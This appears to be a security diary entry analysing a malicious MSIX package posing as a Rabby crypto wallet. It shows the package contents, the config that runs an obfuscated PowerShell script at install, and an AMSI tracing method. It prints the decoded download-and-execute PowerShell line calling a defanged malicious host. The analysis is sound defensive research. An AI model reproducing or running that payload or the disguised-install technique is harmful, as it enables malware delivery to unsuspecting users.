A few months ago, we saw waves of MSIX malicious packages[1] dropping malware once installed on victim's computers. I started to hunt for such files and saw a big decrease in interesting hints. Today, my YARA rule triggered a new sample. Called "Rabby-Wallet.msix", the file has a VT score of 8/58[2]

After a quick look, the file appears to implement the same technique to execute a malicious PowerShell payload:

remnux@remnux:/MalwareZoo/20240209$ zipdump.py Rabby-Wallet.msix 
Index Filename                                        Encrypted Timestamp           
    1 Registry.dat                                            0 2024-01-23 11:54:56 
    2 1_Ll57yViA-ZpEVlnH_Hf5ZQ.jpg                            0 1980-00-00 00:00:00 
    3 VC_redist.x86.exe                                       0 2023-10-02 14:34:06 
    4 Refresh2.ps1                                            0 2024-01-16 11:46:44 
    5 StartingScriptWrapper.ps1                               0 2023-12-20 09:54:32 
    6 config.json                                             0 2024-01-23 11:54:56 
    7 PsfRuntime64.dll                                        0 2023-12-20 10:40:08 
    8 PsfRuntime32.dll                                        0 2023-12-20 10:39:36 
    9 PsfRunDll64.exe                                         0 2023-12-20 10:40:12 
   10 PsfRunDll32.exe                                         0 2023-12-20 10:39:40 
   11 Assets/Store50x50Logo.scale-100.jpg                     0 1980-00-00 00:00:00 
   12 Assets/rabby.exeSquare44x44Logo.scale-100.png           0 2023-12-20 09:54:38 
   13 Assets/rabby.exeSquare150x150Logo.scale-100.png         0 2023-12-20 09:54:38 
   14 Assets/Store50x50Logo.scale-150.jpg                     0 1980-00-00 00:00:00 
   15 Assets/Store50x50Logo.scale-125.jpg                     0 1980-00-00 00:00:00 
   16 Assets/Store50x50Logo.scale-200.jpg                     0 1980-00-00 00:00:00 
   17 Assets/Store50x50Logo.scale-400.jpg                     0 1980-00-00 00:00:00 
   18 VFS/AppData/local/gpg.exe                               0 2007-09-17 14:52:14 
   19 VFS/AppData/local/iconv.dll                             0 2004-01-14 00:56:16 
   20 AI_STUBS/AiStubX86.exe                                  0 2024-01-23 11:54:56 
   21 resources.pri                                           0 2024-01-23 11:54:56 
   22 AppxManifest.xml                                        0 2024-01-23 11:54:56 
   23 AppxBlockMap.xml                                        0 2024-01-23 11:54:58 
   24 [Content_Types].xml                                     0 2024-01-23 11:54:56 
   25 AppxMetadata/CodeIntegrity.cat                          0 2024-01-23 11:54:56 
   26 AppxSignature.p7x                                       0 2024-01-23 16:53:16 
remnux@remnux:/MalwareZoo/20240209$ zipdump.py Rabby-Wallet.msix -s 6 -d
{
    "processes": [
        {
            "executable": ".*",
            "fixups": []
        }
    ],
    "applications": [
        {
            "id": "rabby.exe",
            "startScript": {
                "scriptExecutionMode": "-ExecutionPolicy RemoteSigned",
                "scriptPath": "Refresh2.ps1"
            }
        }
    ]
}

Based on the JSON config, you can see that the script called "Refresh2.ps1" will be executed during the MSIX installation. Let's have a look at the content:

For sure, this script will make your eyes cry! When I'm facing such obfuscation, I don't spend my time reversing everything manually. When you need to deobfuscate PowerShell, Microsoft has a wonderful combination of tools for you: logman[3] and AMSI[4].

Let's enable PowerShell tracing:

logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets

Now, let's run the payload and we get this in the output:

You can see that the script will construct an Invoke-Expression call with char()-encoded payload:

IEX (IWR -Uri 'hxxps://ads-analyze[.]top/check1.php' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.46 OPR/105.0.0.0').Content

Unfortunately, the website returns an HTTP 503 error, even with the same User-Agent...

[1] https://isc.sans.edu/diary/Redline+Dropped+Through+MSIX+Package/30404
[2] https://www.virustotal.com/gui/file/b404235ee0e043d7512ab38d88fc3bf2534597e3dff7e6df7ee22fe9cb3c896c/detection
[3] https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman
[4] https://learn.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key